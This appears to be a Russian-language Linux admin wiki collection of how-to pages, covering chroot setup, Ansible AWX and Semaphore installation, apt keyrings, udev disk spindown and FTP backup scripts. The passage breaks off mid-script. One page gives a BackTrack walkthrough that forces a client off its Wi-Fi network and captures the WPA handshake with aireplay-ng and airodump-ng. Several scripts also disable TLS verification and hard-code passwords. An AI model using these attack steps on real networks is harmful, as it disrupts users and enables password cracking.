wiki.autosys.tk - linux_faq

32-bit-chroot-в-ubuntu-14-04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Иногда нужно запускать 32-bit приложения в 64-bit системе. Это приходится делать из-за неразрешимых зависимостей в пакетах.

Итак, поехали.

Ставим то что нам понадобится:

sudo apt-get install debootstrap schroot

Создаем директорию и конфигурационный файл для нашего chroot:

sudo mkdir /trusty_i386
sudo nano /etc/schroot/chroot.d/trusty_i386.conf

И записываем туда вот что:

[trusty_i386]
description=Ubuntu 14.04 Trusty for i386
directory=/trusty_i386
personality=linux32
root-users=mike
type=directory
users=alice,mike

Тут:
directory (раньше - location) - Директория где будут лежать файлы этого environment. Директория должна быть за пределами /home. tree.
По-умолчанию - /srv/chroot.

personality - Эта строка нужна, если хост-система 64-bit, а chroot-система - 32-bit. В противном случае можно отключить или закомментировать “#”.

root-users - Пользователи хост-системы, которые имеют права запускать schroot и получат root-доступ к chroot-окружению.

users - Пользователи хост-системы, которые имеют права запускать schroot и получат пользовательский доступ к chroot-окружению.

Выполнем установку нашей Ubuntu 14.04 Trusty 32-bit системы в указанную папку:

sudo debootstrap --variant=buildd --arch=i386 trusty /trusty_i386 http://archive.ubuntu.com/ubuntu/

Для других дистрибутивов просто меняем trusty на название дистра (например для Ubuntu 13.04 - precise)

Смотрим на список сконфигурированных chroot:

schroot  -l

Теперь запустим наше chroot-окружение и убедимсо, что там внутри 32-bit:

schroot -c trusty_i386 -u root
(trusty_i386)root@host-system:/home/mike# uname -a
Linux host-system 3.16.0-031600rc2-generic #201406220135 SMP Sun Jun 22 05:36:21 UTC 2014 i686 i686 i686 GNU/Linux

Затем в окружении chroot ставим компоненты системы:

(trusty_i386)root@host-system:/home/mike# apt-get install ubuntu-minimal

Для запуска GUI-приложений необходимо задать системную переменную DISPLAY (посмотреть ее на хост системе - echo $DISPLAY):

(trusty_i386)root@host-system:/home/mike#  DISPLAY=:0 ./yourapp

accel-ppp_vpn_server_in_lxc_container_on_ubuntu_16.04_host

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

http://accel-ppp.org/wiki/doku.php

acer_swift_linux_trics

anonymous@undisclosed.example.com (Anonymous) — Thu, 01 Jun 2023 08:30:15 +0000

Battery protection mode

https://github.com/frederik-h/acer-wmi-battery

sudo apt install build-essential linux-headers-$(uname -r) git
git clone https://github.com/frederik-h/acer-wmi-battery.git
cd acer-wmi-battery
make
sudo insmod acer-wmi-battery.ko
echo 1 | sudo tee /sys/bus/wmi/drivers/acer-wmi-battery/health_mode

ad_users_in_local_linux_groups

anonymous@undisclosed.example.com (Anonymous) — Fri, 15 Jan 2021 09:20:25 +0000

Проблема

Есть система Ubuntu 18.04, которая является членом домена Active Directory с помощью Samba + winbind.
При добавлении пользователей в локальную группу linux (в файле /etc/group) некоторые пользователи нормально добавляются, при входе получают эту группу а некоторые - нет.

Решение

Оказалось, что причиной такого поведения является пренебрежение со стороны Windows к регистру логина.
В моем случае в файле /etc/group пользователи в локальную группу прописаны в нижнем регистре:

username

но при входе в систему пользователь может использовать логин в любом регистре - например

UserName

и Active Directory его нормально аутентифицирует.
В итоге - если при входе в систему пользователь использует логин НЕ в нижнем регистре, то он получит список групп только из Active Directory, а вот локальные группы ему не назначатся, поскольку с точки зрения linux это будет совсем другой пользователь.
Иными словами - логин, используемый при входе в систему, должен точно совпадать с тем, который прописан в /etc/group и лучше всего, во ибежание проблем, везде в использовать нижний регистр.

ansible_awx_setup

anonymous@undisclosed.example.com (Anonymous) — Wed, 10 Jun 2020 08:58:27 +0000

Установка AWX на Ubuntu 19.04

Вот рабочая последовательность команд для установки Ansible AWX на Ubuntu 19.04 в виде контейнеров docker.
Docker обязательно нужно ставить последний из https://download.docker.com/linux/ubuntu

export http_proxy=http://192.168.104.94:3130/
export https_proxy=http://192.168.104.94:3130/

echo "deb http://ppa.launchpad.net/ansible/ansible/ubuntu $(lsb_release -cs) main" | sudo tee -a /etc/apt/sources.list.d/ansible.list
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 7BB9C367
sudo apt-get update
sudo apt install ansible -y
sudo rm -f /usr/bin/python
sudo ln -s /usr/bin/python3 /usr/bin/python

sudo snap remove --purge docker
sudo apt-get purge docker docker-engine docker.io docker-ce docker-ce-cli containerd.io containerd runc -y
sudo rm -rf /var/lib/docker/
sudo rm -rf /var/lib/docker-engine
sudo apt-get update && sudo apt-get install -y apt-transport-https ca-certificates curl gnupg-agent software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo apt-key fingerprint 0EBFCD88
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io -y
sudo service docker start
sudo rm -f /usr/bin/python
sudo ln -s /usr/bin/python3 /usr/bin/python
sudo apt-get install python3-pip -y
sudo pip3 --proxy=http://__Proxy_IP__:_proxy_port__ install docker docker-compose
sudo apt install nodejs npm -y
sudo npm install npm --global
git clone https://github.com/ansible/awx.git
cd awx/installer
sudo ansible-playbook -i inventory install.yml

Установка AWX в кластере kubernetes

Для установки в Kubernetes есть несколько опций:

Штатный ansible-инсталлятор - https://github.com/ansible/awx/blob/devel/INSTALL.md#kubernetes
operator (в июне 2020 - alpha) - https://github.com/geerlingguy/tower-operator
helm chart (в июне 2020 уже несколько устарел - там все еще rabbitmq вместо redis) - https://github.com/arthur-c/ansible-awx-helm-chart

На старых версиях плейбуков AWX при установке в кластер kubernetes версии 1.16 playbook вываливался с ошибкой на задаче TASK [kubernetes : Apply Deployment]. Сейчас такого не происходит.
Для начала - нужно включить логирование, чтобы увидеть в чем дело. В файлике roles/kubernetes/tasks/main.yml ищем задачу с именем

Apply Deployment

и в ней комментируем строку

no_log: yes

В итоге можем увидеть сообщение об ошибке:

no matches for kind "StatefulSet" in version "apps/v1beta1"

Это означает, что apiVersion в файлике манифеста не соотвествует apiVersion кластера. Открываем файл roles/kubernetes/templates/deployment.yml.j2, находим объявление

kind: StatefulSet

и исправляем версию строкой выше.
Версии kubernetes API в вашем кластере можно посмотреть так:

for kind in `kubectl api-resources | tail +2 | awk '{ print $1 }'`; do kubectl explain $kind; done | grep -e "KIND:" -e "VERSION:"

В моем случае

apiVersion: apps/v1beta1

нужно заменить на

apiVersion: apps/v1

В результате - характер ошибки изменился и теперь сообщение такое:

missing required field "selector" in io.k8s.api.apps.v1.StatefulSetSpec

Отлично. Оказалось, теперь в спецификации StatefulSet нужно добавлять selector, который, в соответствии с документацией должен совпадать с метками (labels), заданным в спецификации контейнеров этого StatefulSet (has to match .spec.template.metadata.labels). Приводим спецификацию StatefulSet к такому виду:

spec:
  serviceName: {{ kubernetes_deployment_name }}
  replicas: 1
  selector:   
    matchLabels:
      app: {{ kubernetes_deployment_name }}

Также в моей конфигурации оказалось проще удалить секции resources, чем их настраивать (мой тренировочный кластер не сможет выделить какие-то фиксированные объемы ресурсов). Также лучше сразу удалить liveness и readyness probes из спецификации контейнера rabbitmq (иначе - будет жор CPU).

Обновление AWX в кластере kubernetes

Бекапим базу. На сервере postgres выполняем:

sudo su - postgres
su - postgres
pg_dump awx > awx_`date +"%d.%m.%y_%H-%M"`.bak

Клонируем свежий репозиторий AWX:

git clone https://github.com/ansible/awx.git

Настраиваем inventory:

cd awx/installer
nano inventory

Ошибки

cannot import name errors

Вот такая ошибка появлялась, пока я не сменил версию python с 2.7 на 3.

TASK [local_docker : Start the containers] ************************************************************************************************************************************************************************************************************************************
fatal: [localhost]: FAILED! => {"changed": false, "msg": "Failed to import the required Python library (Docker SDK for Python: docker (Python >= 2.7) or docker-py (Python 2.6)) on kom250.rdleas.ru's Python /usr/bin/python. Please read module documentation and install in the appropriate location, for example via `pip install docker` or `pip install docker-py` (Python 2.6). The error was: cannot import name errors"}

read-only file system

При переносе инсталляции AWX с одного сервера на другой хост я столкнулся с такой ошибкой:

Cannot start service postgres: b"error while creating mount source path '/opt/awx/pgsql_db': mkdir /opt/awx: read-only file system

Гугление показало, что виноват древний docker. Помогло удаление и переустановка из репозитория https://download.docker.com/linux/ubuntu.

awx on kubernetes - high CPU usage erl_child_setup

AWX в маленьком кластере kubernetes. В простое постоянно высокая нагрузка на CPU - процесс erl_child_setup.
Причина - liveness и readyness пробы в контейнере awx-rabbit.
Решение - отредактировать StatefullSet и удалить liveness и readyness пробы.

kubectl edit sts awx -n awx

Установка AWX из репозиториев

Это уже древний вариант. Сейчас актуальна установка в контейнеры docker.
CentOS 7 1810

yum install -y epel-release
yum install -y https://download.postgresql.org/pub/repos/yum/9.6/redhat/rhel-7-x86_64/pgdg-redhat96-9.6-3.noarch.rpm
yum install -y postgresql96-server
yum install -y rabbitmq-server wget memcached nginx ansible
wget -O /etc/yum.repos.d/awx-rpm.repo https://copr.fedorainfracloud.org/coprs/mrmeee/awx/repo/epel-7/mrmeee-awx-epel-7.repo
yum install -y awx

/usr/pgsql-9.6/bin/postgresql96-setup initdb

systemctl start rabbitmq-server
systemctl enable rabbitmq-server
systemctl enable postgresql-9.6
systemctl start postgresql-9.6
systemctl enable memcached
systemctl start memcached

sudo -u postgres createuser -S awx
sudo -u postgres createdb -O awx awx
sudo -u awx /opt/awx/bin/awx-manage migrate

echo "from django.contrib.auth.models import User; User.objects.create_superuser('admin', 'root@localhost', 'password')" | sudo -u awx /opt/awx/bin/awx-manage shell
sudo -u awx /opt/awx/bin/awx-manage create_preload_data
sudo -u awx /opt/awx/bin/awx-manage provision_instance --hostname=$(hostname)
sudo -u awx /opt/awx/bin/awx-manage register_queue --queuename=tower --hostnames=$(hostname)

cd /etc/nginx/
cp nginx.conf nginx.conf.bak
wget -O /etc/nginx/nginx.conf https://raw.githubusercontent.com/sunilsankar/awx-build/master/nginx.conf

systemctl start nginx
systemctl enable nginx
systemctl start awx-cbreceiver
systemctl start awx-channels-worker
systemctl start awx-daphne
systemctl start awx-dispatcher
systemctl start awx-web

systemctl enable awx-cbreceiver
systemctl enable awx-channels-worker
systemctl enable awx-daphne
systemctl enable awx-dispatcher
systemctl enable awx-web

Ссылки

https://www.ansible.com/products/awx-project/faq
https://www.admintome.com/blog/install-ansible-on-ubuntu-18-04-with-awx/
Установка AWX из rpm-репозитория: https://developer.ibm.com/articles/automation-using-ansible-awx-gui/

ansible_playbook_to_setup_wifi_router

anonymous@undisclosed.example.com (Anonymous) — Thu, 15 Oct 2020 19:38:30 +0000

Хочу запилить плейбук для настройки домашнего роутера на базе NanoPi-R1 + Armbian.

https://github.com/Scionar/ansible-wifi-router
https://github.com/mmulsow/ansible-router

Настройка точки доступа c NetworkManager

hostapd
dnsmasq - dhcp, dns (over https)
ufw (iptables)
haproxy
strongswan l2tp

Проблемы

При изменении состояния сервисов из ansible на системе с ядром 5.8.x наблюдаю такую ошибку:

fatal: [192.168.77.65]: FAILED! => {"changed": false, "msg": "Service is in unknown state", "status": {}}

Причина - несколько устаревший systemd. Решение - обновить systemd или откатить ядро до 5.7.x

ansible_with_semaphore_ui

anonymous@undisclosed.example.com (Anonymous) — Mon, 18 Nov 2019 07:23:29 +0000

Для своего времени Semaphore был неплох.
Однако, Semaphore больше не поддерживается и сейчас стал бесплатным upstream Ansible Tower - AWX. Установить его можно вот так: Установка AWX на Ubuntu или в кластер Kubernetes
По сути Semaphore - бледное подобие Ansible Tower.

Установка Semaphore на Ubuntu/Debian

https://github.com/ansible-semaphore/semaphore/wiki/Installation

sudo apt-get update && sudo apt-get -y upgrade
sudo apt-get install -y software-properties-common
sudo apt-add-repository -y universe
sudo add-apt-repository -y ppa:ansible/ansible
sudo apt-get install -y git ansible mysql-server nginx
wget https://github.com/ansible-semaphore/semaphore/releases/download/v2.5.1/semaphore_2.5.1_linux_amd64.deb
sudo dpkg -i ./semaphore_2.5.1_linux_amd64.deb

Создаем базу данных:

 sudo mysql


mysql> CREATE DATABASE semaphore;
Query OK, 1 row affected (0.04 sec)

mysql> CREATE USER 'semaphore'@'localhost' IDENTIFIED BY 'superpassword';
Query OK, 0 rows affected (0.06 sec)

mysql> GRANT ALL PRIVILEGES ON semaphore.* TO 'semaphore'@'localhost';
Query OK, 0 rows affected (0.01 sec)

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.03 sec)

mysql> exit

Создаем файл конфигурации:

sudo semaphore -setup

При первичной настройке не стоит включать LDAP-аутентификацию, потому что при ее включении скрипт не предлагает добавить локального пользователя.
Включить LDAP можно и в дальнейшем, просто добавив нужные параметры в файл конфигурации.

Semaphore AD Authentication

Для аутентификации пользователей из AD нужно включить LDAP. Эта часть конфига должна выглядеть так:

        "ldap_binddn": "semaphore",
        "ldap_bindpassword": "semaphore_password",
        "ldap_server": "dc.local:389",
        "ldap_searchdn": "OU=Users,DC=domain,DC=local",
        "ldap_searchfilter": "(sAMAccountName=%s)",
        "ldap_mappings": {
                "dn": "dn",
                "mail": "mail",
                "uid": "sAMAccountName",
                "cn": "cn"
        },
        "ldap_enable": true,
        "ldap_needtls": false

С начала я пытался сконфигурировать параметр “ldap_binddn” в виде CN=semaphore,OU=Users,DC=domain,DC=local, однако это приводило к ошибкам вида:

time="2018-09-26T08:48:22Z" level=info msg="LDAP Result Code 49 "Invalid Credentials": 80090308: LdapErr: DSID-0C09042A, comment: AcceptSecurityContext error, data 52e, v3839"

в таком случае, стоит попробывать в качестве “ldap_binddn” использовать просто логин (sAMAccountname или UserPrincipalName а не distinguished name) пользователя, который будет обращаться к LDAP.
Также, вместо uid нужно использовать sAMAccountName. В противном случае можно увидеть такую ошибку:

time="2018-09-26T13:45:35Z" level=info msg="User does not exist or too many entries returned"

Запуск semaphore в виде сервиса

Копируем конфиг semaphore в /etc/ansible/:

cp ./config.json /etc/ansible/semaphore_config.json

И конфигурируем сервис: /etc/systemd/system/semaphore.service

[Unit]
Description=Ansible Semaphore
After=syslog.service
Before=nginx.service
Requires=network.target

[Service]
Type=forking
EnvironmentFile=-/etc/default/ansible-semaphore
ExecStart=/bin/sh -c "/usr/bin/semaphore -config ${SEMAPHORE_CONFIG} >> ${SEMAPHORE_LOGS} 2>&1 &"
Restart=always
RestartSec=10s

[Install]
WantedBy=multi-user.target

/etc/default/ansible-semaphore

#Ansible Semaphore Defaults

SEMAPHORE_CONFIG=/etc/ansible/semaphore_config.json
SEMAPHORE_LOGS=/var/log/semaphore.log

Включаем и запускаем сервис:

systemctl enable semaphore.service
service semaphore start

SSL посредством nginx

/etc/nginx/nginx.conf

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
  worker_connections 1024;
  use epoll;
  multi_accept on;
}

http {
        tcp_nodelay on;
        keepalive_timeout 600;
        types_hash_max_size 2048;

        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;

        gzip on;

        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*;
}

/etc/nginx/sites-enabled/default

server {
        listen 80;
        root /var/www/;
        
        #Enable access to acme files
        location ~ /\.well-known/acme-challenge/ {
                        allow all;
                        access_log off;
                        log_not_found off;
       }

       return 301 https://$host$request_uri;
  }

  upstream semaphore {
    server 127.0.0.1:3000;
  }

  server {
    listen 443 ssl http2;
    server_name  server.domain.com;
    
    # add Strict-Transport-Security to prevent man in the middle attacks
    add_header Strict-Transport-Security "max-age=31536000" always;

    # SSL
    ssl_certificate /etc/letsencrypt/live/server.domain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/server.domain.com/privkey.pem;

    # Recommendations from https://raymii.org/s/tutorials/Strong_SSL_Security_On_nginx.html
    ssl_protocols TLSv1.1 TLSv1.2;
    ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH';
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;

    # disable any limits to avoid HTTP 413 for large image uploads
    client_max_body_size 0;

    # required to avoid HTTP 411: see Issue #1486 (https://github.com/docker/docker/issues/1486)
    chunked_transfer_encoding on;

    location / {
      proxy_pass http://semaphore/;
      proxy_set_header Host $http_host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

      proxy_set_header X-Forwarded-Proto $scheme;

      proxy_buffering off;
      proxy_request_buffering off;
    }

    location /api/ws {
      proxy_pass http://semaphore/api/ws;
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
      proxy_set_header Origin "";
    }
  }

apache_tomcat_cookbook

anonymous@undisclosed.example.com (Anonymous) — Tue, 23 Mar 2021 06:24:09 +0000

Вот неплохая книжка по Apache TomCat, которая на базовом уровне позволит разобраться с конфигурацией сервера и приложений: Apache Tomcat CookBook .
Книга посвящена вопросам конфигурирования Apache TomCat версий 7.x/8.x

apt-key_is_deprecated_how_to_add

anonymous@undisclosed.example.com (Anonymous) — Mon, 21 Aug 2023 10:48:31 +0000

В Ubuntu 22.04 и свежих Debian теперь считается устаревшей (deprecated) утилита apt-key и скоро она будет выпилена.
Чтобы не получать сообщения вида:

The following signatures couldn't be verified because the public key is not available: NO_PUBKEY C6ABDC...
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: .....

Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead

Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details.

Нужно добавлять ключи в /etc/apt/trusted.gpg.d/, при этом сделав над ними

gpg --dearmor

примерно так:

sudo apt-get update
sudo apt install gnupg2 wget ca-certificates lsb-release software-properties-common
gpg_key_url="https://packagecloud.io/slacktechnologies/slack/gpgkey"
gpg_keyring_path="/etc/apt/trusted.gpg.d/slack-keyring.gpg"
curl -fsSL "${gpg_key_url}" | gpg --dearmor | sudo tee ${gpg_keyring_path}
sudo apt-get clean
sudo apt-get update

При этом, в Ubuntu 22.04 добавление pgp-файла в /usr/share/keyrings/ не решало проблему. Добавлять файл нужно в /etc/apt/trusted.gpg.d/

Либо, пока не свосем выпилили apt-key:

gpg_key_url="https://packagecloud.io/slacktechnologies/slack/gpgkey"
gpg_keyring_path="/etc/apt/trusted.gpg.d/slack-keyring.gpg"
wget -q -O - $gpg_key_url | sudo apt-key --keyring $gpg_keyring_path add -

Для packages.cloud.google.com/apt :

gpg_key_url=https://packages.cloud.google.com/apt/doc/apt-key.gpg
gpg_keyring_path="/etc/apt/trusted.gpg.d/cloud-google-keyring.gpg"
curl -fsSL "${gpg_key_url}" | gpg --dearmor | sudo tee ${gpg_keyring_path}

Или так, как указано в мануалах hashicorp:

wget -O- https://apt.releases.hashicorp.com/gpg | gpg --dearmor | sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg
wget -O- https://packagecloud.io/slacktechnologies/slack/gpgkey | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/slack-keyring.gpg

apt-rdepends-how-to-remove-recommends-and-suggested

anonymous@undisclosed.example.com (Anonymous) — Fri, 22 Jul 2022 14:22:09 +0000

Проблема

При установлке deb-пакета он притянул за собой 25 гигов recommends и suggested пакетов.

apt-rdepends

asus_rog_zephyrus_m16

anonymous@undisclosed.example.com (Anonymous) — Fri, 04 Feb 2022 20:51:29 +0000

OS

Все эксперименты провожу на Ubuntu 21.10

Kernel

Я работаю под 5.16.0.
Последнее ядро под которым нормально завелся MT7921e - 5.16.1, однако под ним система нестабильна.
Все более поздние версии (начиная с 5.16.2) тупо виснут при загрузке модуля mt7921e.

Suspend

Неплохой гайд по расследованию причин не работающего суспенда: https://01.org/blogs/rzhang/2015/best-practice-debug-linux-suspend/hibernate-issues
Но не не помоголо..
Suspend не работает. Ноут не засыпает и не проспается.
pm_trace выдает только такое:

[    1.078515] PM:   Magic number: 0:707:445
[    1.080206] PM:   hash matches drivers/base/power/main.c:1206
[    1.082293] pcieport 0000:00:1c.6: hash matches

no_console_suspend тоже не помогло выявить проблему.

asus_u41sv_screen_resolution_upgrade

anonymous@undisclosed.example.com (Anonymous) — Sun, 09 Jun 2019 15:59:12 +0000

Матрица

Ноутбук - Asus U41SV. Пишут, что оригинальная матрица - B140XW02 v1 (1366×768)
Толщина матрицы - 3.6 мм. в крышке есть максимум 4.5 мм.
http://www.panelook.com/B140XW02%20V1_AUO_14_LCM_overview_478.html

По размеру, крепежу кажется подходит B140RW02 (1600×900) но она 2-х канальная
http://www.panelook.com/B140RW02%20V1_AUO_14_LCM_overview_466.html

В итоге я нашел единственную подходящую матрицу 14'' с разрешением 1600×900 с интерфейсом LVDS 1ch 6-bit: http://www.panelook.com/LTN140KT01-001_Samsung_14_LCM_overview_24785.html

https://remontof.net/article/4_tablica-sovmestimosti-matric-dlya-noutbukov

https://forum.lowyat.net/topic/2069213/all
https://ascnb1.ru/forma1/viewtopic.php?f=373&t=135565

http://www.cyberforum.ru/notebooks-upgrade/thread1689453.html
\\https://m.ru.aliexpress.com/item/32808713142.html?trace=wwwdetail2mobilesitedetail&spider=y&productId=32808713142&productSubject=LVDS-1ch-2ch-6bit-8bit-DF19-LCD-Screen-Line-Cable-Universal-Commonly-DF19-Screen-Line-Wire

CPU

В ноуте стоит Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz (Socket G2 (ppga988))
Вот список процов совместимых с чипсетом: http://www.cpu-upgrade.com/mb-Intel_(chipsets)/HM65_Express.html
Вероятные кандидаты на замену:

i7-2670QM (Socket G2) 2.2 ГГц кэш 6 МБ
i7-2710QE (Socket G2) 2.1 ГГц кэш 6 МБ
i7-2760QM (Socket G2) 2.4 ГГц кэш 6 МБ
i7-2820QM (Socket G2) 2.3 ГГц кэш 8 МБ
i7-2860QM (Socket G2) 2.5 ГГц кэш 8 МБ

В МСК эти процы стоят около 5000-7000 р.

auto_stop_hdd_spindel_while_no_activity_with_udev_rules

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Автоматическая остановка шпинделя диска

Автоматическая остановка шпинделя диска может понадобиться, например, если у вас в ноутбуке установлены SSD для работы и HDD для бекапа. Очевидно, что HDD нужен бывает редко, однако батарею он есть всегда.
Для того, чтобы HDD просыпался только когда он нужен, необходимо добавить правило udev. Его можно добавить в соответствующий файлик правил, посвященных энергосбережению или создать новый - это не принципиально. У меня пара дисков которые не должны все время работать, поэтому я создам один файлик - /etc/udev/rules.d/70-hdd-powerdown-rules.rules. И напишу туда пару правил по такому шаблону:

ACTION=="add", SUBSYSTEM=="block", KERNEL=="sdX", ATTR{queue/rotational}=="1", RUN+="/path/to/hdparm -S 1 /dev/sdX"

Тут надо заменить sdX на имя диска, который необходимо остановить и /path/to/hdparm на полный путь к hdparm. Это правило будет автоматически останавливать диск, если он неактивен в течение 5 секунд.
Однако, буква диска может меняться. На этот случай udev способен идентифицировать диски по серийному номеру. Серийный номер смотрим командой:

sudo udevadm info -n /dev/sdb | grep ID_SERIAL_SHORT

В ответ получаем что-то такое:

E: ID_SERIAL_SHORT=WD-WXH1A31F7617

И немного модифицируем правило, которое будет применяться ко всем дискам с заданным серийным номером:

ACTION=="add", SUBSYSTEM=="block", KERNEL=="sd[a-z]", ENV{ID_SERIAL_SHORT}=="WD-WXH1A31F7617", RUN+="/sbin/hdparm -S 1 /dev/%k"

После создания правил можно заставить udev их перечитать. На системах с systemd так:

sudo udevadm control --reload-rules && sudo udevadm trigger

А на системах с System V так:

udevcontrol reload_rules && udevtrigger

Проверить выключается ли диск можно командой:

sudo hdparm -C /dev/sdc

Если он выключился, то его состояние будет standby:

# hdparm -C /dev/sdc

/dev/sdc:
 drive state is:  standby

а если диск работает, то active/idle:

# hdparm -C /dev/sda

/dev/sda:
 drive state is:  active/idle

Инигда так случается, что диск отказывается уходить в standby. В моем случае причиной оказались настройки Advanced Power Management. Это параметры энергосбережениясамого диска. У меня они были выставлены на максимальную производительность:

sudo hdparm -B 254 /dev/sdb

И в этом режиме диск не засыпал.
Для того, чтобы диск нормально уходил в standby нужно было сделать так:

sudo hdparm -B 127 /dev/sdb

Или добавить это команду прямо в правило udev:

ACTION=="add", SUBSYSTEM=="block", KERNEL=="sd[a-z]", ENV{ID_SERIAL_SHORT}=="WD-WXH1A31F7617", RUN+="/sbin/hdparm -B 128 /dev/%k && /sbin/hdparm -S 1 /dev/%k"

backtrack-faq

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Как подключиться по ssh?

1. надо сгенерировать ключи:

sshd-generate

2. Сменить пароль root

passwd

3. Перезапустить ssh

service ssh restart

BackTrack WPA/WPA2 crack

1. Смотрим какие есть интерфейсы, поддерживающие беспроводные расширения:

iwconfig

2. Переводим интерфейс в режим мониторинга:

airmon-ng start wlan0

В результате появится интерфейс mon0, который будет виден в iwconfig

3. Сканируем эфир и выбираем сеть. Указываем интерфейс mon0:

airodump-ng mon0

4. Запускаем airodump нацеленный на выбранную сеть, указываем канал -c 1. Тут output - это имя выходного файла.

airodump-ng -c 1 --bssid 48:5B:39:E7:BE:31 -w output mon0

5. Если клиент уже подключен, запускаем aireplay и обрываем его аутентификацию, тем самым заставляя его соединиться заново:

aireplay-ng -0 1 -e mikehome -a 48:5B:39:E7:BE:31 -c 00:26:5A:18:A5:C5 mon0

где:

-e mikehome — BSSID точки доступа
-a 00:14:6C:7E:40:80 — MAC точки доступа
-c 00:0F:B5:FD:FB:C2 — MAC клиента

И на выходе получаем:

11:09:28 Sending DeAuth to station – STMAC: [00:0F:B5:34:30:30]

Тыкать aireplay можно довольно долго, но в конце-концов в окне с airodump-ng появится справа:

WPA handshake: 48:5B:39:E7:BE:31

backup_all_mysql_databases_separate_files_to_ftp

anonymous@undisclosed.example.com (Anonymous) — Fri, 12 Apr 2019 07:23:45 +0000

Скрипт бекапа баз mysql

Скрипт выполняет бекап всех баз, за исключением системных (mysql,performance_schema,information_schema,sys) с локального сервера mysql в отдельные файлы, и потом отправляет бекапы на FTP. Также скрипт удаляет с FTP старые бекапы, если их количество превышает заданное.
Для работы нужны pigz и lftp.

#!/bin/bash
backup_name_prefix=mysql_databases
ftpserver=ftp.comp.local
username=ftp_user_login_name
password=ftp_user_pass
currentdate=$(date +%d-%m-%Y_%H_%M)
remote_www_dir=/backup_dir
backup_depth=10

#Get list of directories with full encrypted backups
dirs=`echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; cls --sort=date $remote_www_dir/$backup_name_prefix; bye;' ftp://$username:$password@$ftpserver" | /bin/bash`
dirs=(${dirs// / })
#check number of directories and delete oldest
if [[ ${#dirs[@]} -gt $backup_depth ]]; then
        for ((i = $backup_depth; i < ${#dirs[@]}; i++))
        {
                echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; rm -r -f ${dirs[$i]}; bye;' ftp://$username:$password@$ftpserver" | /bin/bash
        }
fi


#Make temporary directory
mkdir --parents /tmp/$currentdate
#Make archives
databases=`mysql --execute='show databases;' | sed 's/ //g' | grep -v 'Database\|mysql\|performance_schema\|information_schema\|sys'`
for db in $databases
{
       mysqldump --databases $db | pigz > /tmp/$currentdate/$db-mysqldatabase-$currentdate.sql.gz
}
#Make put archives to ftp
cd /tmp/$currentdate/
echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mkdir $remote_www_dir/$backup_name_prefix; mkdir $remote_www_dir/$backup_name_prefix/$currentdate; mirror -c -R /tmp/$currentdate $remote_www_dir/$backup_name_prefix/$currentdate; bye;' ftp://$username:$password@$ftpserver" | /bin/bash
# Housekeeping
rm -Rf /tmp/$currentdate

backup_to_ftp_script

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Данный скрипт был создан мною для автоматизации ежедневного бекапа сайта на удаленный ftp-сервер.
Скрипт синхронизирует содержимое локальной директории на сервере с директорией на ftp (делает зеркало сайта) и пытается сделать бекап в виде архива и, в случае неудачи по причине нехватки места, удаляет самый старый архивный файл бекапа и повторяет попытку.
В качестве ftp-клиента выступает lftp. Протестировано на ftp-сервере proftpd.

#!/bin/bash
dir_to_backup=/var/www
backup_name_prefix=wiki
ftpserver=ftp.server.com
username=username
password=secretpassword
currentdate=$(date +%d-%m-%Y_%H_%M)

echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mirror -c -R $dir_to_backup /; bye;' ftp://$username:$password@$ftpserver" | /bin/bash

tar cf - $dir_to_backup | pigz > /tmp/$backup_name_prefix-$currentdate.tar.gz
ftp_error=$(echo "lftp -e 'set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd wiki; put /tmp/$backup_name_prefix-$currentdate.tar.gz; bye;' -u $username,$password $ftpserver" | /bin/bash 2>&1)
ftp_result=$?
echo $ftp_result
echo $ftp_error | grep "Disk full"
disk_is_full=$?
while [ $ftp_result != 0 ]&&[ $disk_is_full ]; do
echo "lftp -e 'set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd $backup_name_prefix; rm $backup_name_prefix-$currentdate.tar.gz; bye;' -u $username,$password $ftpserver" | /bin/bash 2>&1
oldestfile=$(echo "lftp -e 'set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd $backup_name_prefix; ls -A1 -t; bye;' -u $username,$password $ftpserver" | /bin/bash 2>&1 | tail -2 | head -1)
echo "lftp -e 'set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd wiki; rm $oldestfile; bye;' -u $username,$password $ftpserver" | /bin/bash 2>&1
